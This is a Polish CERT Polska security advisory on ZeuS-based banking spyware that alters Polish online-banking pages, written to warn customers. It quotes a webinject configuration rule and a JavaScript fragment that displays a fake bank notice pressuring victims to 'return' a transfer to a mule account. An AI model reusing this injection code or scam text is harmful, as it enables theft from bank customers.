Coraz bardziej wyrafinowane ataki spyware na klientów bankowości internetowej

Data publikacji: 25/09/2012, CERT Polska

javascrip inject

Wakacje się skończyły, młodzież ruszyła do szkół, studenci na poprawki egzaminów, a przestępcy komputerowi do pracy. Od początku września monitorujemy pojawiające się w plikach konfiguracyjnych oprogramowania szpiegowskiego wpisy dotyczące systemów transakcyjnych polskich banków. Atakuje ono komputery użytkowników systemu Windows, a po zainstalowaniu podsłuchuje wszystkie przesyłane informacje (w tym głównie loginy i hasła), oraz – jeżeli posiada dodatkowe instrukcje w pliku konfiguracyjnym – dokonuje podmiany treści wybranych stron internetowych tuż przed ich wyświetleniem. To złośliwe oprogramowanie to najnowsze odmiany ZeuS-a: Citadel oraz Zeus-p2p (malware oparty na kodzie ZeuS 2.0.8.9, który wyciekł wiosną 2011 roku).

Kto jest celem?

Celem ataków spyware są użytkownicy – to ich komputery zostają zainfekowane i podsłuchiwane przez atakujących. Od początku września w plikach konfiguracyjnych spyware zaobserwowaliśmy wpisy dotyczące 15 różnych systemów transakcyjnych – jeden z nich już od paru dni ostrzega swoich klientów.


Pod tym adresem mBank informuje o próbie nakłonienia klientów do wykonania „zwrotu przelewu”.

Na jakie ataki narażony jest użytkownik bankowości elektronicznej ?

Ponieważ zainfekowanie komputera umożliwia modyfikację treści strony banku (opis mechanizmu poniżej) – atakujący może wyświetlić na monitorze dowolny komunikat. Sposób ataku i treść komunikatów ograniczone są jedynie przez inwencję twórczą przestępców (którzy cały czas mają pełną kontrolę nad komputerem). Jest to przykład połączenia metod socjotechniki oraz przejęcia kontroli nad komputerem ofiary. Użytkownik będzie przeświadczony, iż czytane przez niego komunikaty pochodzą od banku – pojawiły się przecież po zalogowaniu na konto i ponadto są podpisane „dział bezpieczeństwa Twojego Banku”!

Poniżej przedstawiamy zestawienie zaobserwowanych dotychczas skutków zmian dokonywanych przez złośliwe oprogramowanie:

  • Podmiana numeru konta docelowego oraz kwoty tuż przed zatwierdzeniem przelewu
  • Podmiana aktualnego stanu konta
  • Modyfikacja danych na liście wykonywanych operacji
  • Okno proszące o podanie kodów jednorazowych w celu aktywacji/sprawdzenia funkcji bezpieczeństwa
  • Okno proszące o podanie numeru telefonu oraz wybraniu modelu aparatu (atak ZitMo/2011)
  • Monit proszący o zwrot środków pochodzących z błędnego/podejrzanego przelewu (patrz kod wstrzykiwany)
  • Monit proszący o wykonanie testowego przelewu w ramach aktywacji/sprawdzenia nowych funkcji bezpieczeństwa

Więc jak się można uchronić przed takimi atakami ?

Jedyną skuteczną metodą obrony jest czujność. Nowe i nieznane wcześniej komunikaty pojawiające się na stronie bankowości elektronicznej powinny być zawsze zgłaszane lub konsultowane z obsługą banku – nawet kiedy nie wzbudzają naszych podejrzeń. Wykorzystanie drugiego kanału (czy to rozmowa telefoniczna czy też wizyta w placówce) do zgłoszenia takiego incydentu pozwala zweryfikować czy odczytany przez nas komunikat naprawdę pochodził od naszego usługodawcy. Ponadto warto zaznaczyć, iż banki rzadko (jeżeli w ogóle) wprowadzają w systemach zmiany bez uprzedniej szeroko zakrojonej akcji informacyjnej.

Co tak naprawdę się dzieje na moim komputerze ?

Po zainfekowaniu komputera przez spyware użytkownik praktycznie przestaje być jego właścicielem. Już od dawna złośliwe oprogramowanie posiada możliwość podmieniania treści stron wyświetlanych na skażonym komputerze. Nie ma znaczenia czy połączenie było szyfrowane (https, kłódeczka przy adresie), ponieważ wprowadzenie zmian odbywa się na komputerze ofiary, po odszyfrowaniu danych. Użytkownik nie ma żadnej możliwości weryfikacji, czy strona którą ogląda nie została zmodyfikowana przed wyświetleniem. Wprowadzane zmiany mogą być różne: od prostej zmiany jednego słowa – aż po doklejenie potężnych skryptów zawierających 3000 linii kodu.


Obrazek poniżej przedstawia sposób działania mechanizmu modyfikacji treści w locie. Informacja jest przygotowywana w systemie bankowym, a następnie przesyłana szyfrowanym (zielonym) kanałem do komputera użytkownika. Tutaj – w celu umożliwienia chociażby wyświetlenia – następuje odszyfrowanie treści. Jeżeli złośliwe oprogramowanie (zielony stwór) posiada w swojej konfiguracji wpisy dotyczące danej strony banku, następuje uruchomienie mechanizmu, który przechwytuje odszyfrowaną treść i wprowadza w niej zaprogramowane wcześniej zmiany. W niektórych przypadkach zmiany te mogą prowadzić do umieszczenia w stronie systemu bankowego elementów, które są pobierane (czerwony kanał) z serwera złodzieja. Nieświadomy zagrożenia użytkownik cały czas bez (widocznych) przeszkód korzysta z bankowości elektronicznej.

Co może być wstrzyknięte do przeglądarki internetowej – przykład :

Poniżej prezentujemy przykładowy fragment pliku konfiguracyjnego z ZeuS-P2p – pełną regułę mówiącą w jakim przypadku dokonywać określonych modyfikacji na wyświetlanej stronie. Dane przechowywane są w formacie binarnym, więc przedstawiamy formę przetworzoną. Ten wariant spyware pozwala na dopasowywanie wzorców zapisanych w formacie PCRE. Możliwość praktycznie dowolnej modyfikacji treści pozwala na nieograniczoną ingerencję w to co dzieje się na stronie wyświetlanej na monitorze.

(^http.*?://.*?facebook..*?/.*?)
(.(gif|png|jpg|css|swf)($|?))

[[[ DATA-MATCH ]]]
(<html())
[[[ DATA-END ]]]
[[[ DATA-INJECT ]]]
style="display:none;"
[[[ DATA-END ]]]</center>[[[ DATA-MATCH ]]]
(&lt;head.*?&gt;())
[[[ DATA-END ]]]
[[[ DATA-INJECT ]]]
<script>// <![CDATA[
window.onerror = function (msg){return true};var attr = true;
// ]]></script>
[[[ DATA-END ]]]

Poniżej zamieszczamy fragment kodu Javascript odpowiedzialnego za wyświetlanie komunikatu przedstawionego w ostrzeżeniu opublikowanym przez jeden z banków.

billboard.className = 'general';
billboard.innerHTML = '
<h3>Szanowny Kliencie!</h3>
'
+
'
<fieldset>'
+
'Dzisiaj na Wasze konto został dokonany błędny przelew środkуw pieniężnych w kwocie <b>' + window
.az7.drop
.amount + '</b> PLN od <b>' + window.top.az7.drop.name + '</b> z konta <b>' + window.top.az7.drop
.requisites
.acc + '</b>. Zgodnie z zasadami naszego banku ta kwota została zaliczona na Wasze konto rozliczeniowe, ale była zamrożona dla wykorzystania.

'
+
'

Zgodnie z Zasadami korzystania z Serwisu Przelewуw Internetowych (p. 43) celem zapobiegania niesankcjonowanego przelewu środkуw pieniężnych działanie Waszego konta zostało wstrzymane do czasu pełnego zwrotu środkуw pieniężnych na konto <b>'
+ window
.az7.drop
.requisites.acc + '</b> właściciel ktуrego <b>' + window.top.az7.drop
.name + '</b> zgłosił błędny przelew.

'
+
'

Żeby było Wam łatwiej, system zaraz automatycznie przejdzie do formy przelewu środkуw pieniężnych i wypełni za Was wszystkie potrzebne pola. Proszę potwierdzić tą operację i w ciągu 60 min. Wasz dostęp do poczty będzie wznowiony.

'
+
'

W przypadku Waszej odmowy zastosować się do tej instrukcji prosimy niezwłocznie zwrócić się do najbliższego oddziału Waszego banku z oryginałami umowy obsługi i swoim paszportem. W przypadku niezwrуcenia środkуw pieniężnych będziemy zmuszeni przekazać sprawę do policji.

'
+
'

Kwota, ktуra została przelana na Wasze konto będzie automatycznie zablokowana poprzez automatyczny system zwalczania oszustwa (frond-systemem).

'
+
'
<ul>
<ul>'
+</ul>
</ul>
<ul>
<ul>'
    <li>Informacja dla Was:</li>
</ul>
</ul>
'
+
'
<ul>
    <li>Oszustwo z użyciem kart kredytowych należy do przestępstw karnych. Osoby, ktуre pomagają w praniu (legalizacji) nielegalnie otrzymanych środków pieniężnych (przelewem z kont bankowych) są pociągani do odpowiedzialności karnej zgodnie z ustawodawstwem Rzeczypospolitej Polskiej.</li>
</ul>
&nbsp;

'
+
'
<ul>
    <li>Sytuację z Waszym kontem uważamy za świadczenie pomocy przy praniu nielegalnie (bez sankcji) przelanych środkуw pieniężnych.</li>
</ul>
&nbsp;

'
+
'

'
+
'

Z poważaniem,

'
+
'

Departament Bezpieczeństwa Informacyjnego Banku

'
+
'

Dział zwalczania on-line-oszustwa

'
+
'</fieldset>
'
;
pullUp(billboard);

Zaraz, zaraz, nie odwiedzam podejrzanych miejsc w internecie! … to jak się mogę zainfekować ?

Jak się okazuje, nie trzeba ściągać podejrzanych plików czy też zaglądać na strony internetowe o szemranej reputacji. Wystarczy że ktoś na stronie naszej ulubionej kawiarni (lub dowolnej innej, często przez nas odwiedzanej) umieści złośliwy kod. Po wejściu na zainfekowaną stronę [1] przeglądarka pobierając treść strony [2] uruchamia złośliwy kod który powoduje, że połączy się ona z witryną przygotowaną przez przestępców [3]. Po tym przekierowaniu następuje atak na nasz komputer [4] za pomocą serii exploitów. Ostatnie wiadomości pokazują, że takich nie brak – ostatnie doniesienia o krytycznych lukach w przeglądarce Internet Explorer czy też środowisku Java. Jeżeli któryś z exploitów zadziała – na naszym komputerze pobierane i instalowane [5] jest złośliwe oprogramowanie. Od tego momentu przestajemy mieć pełną kontrolę nad komputerem.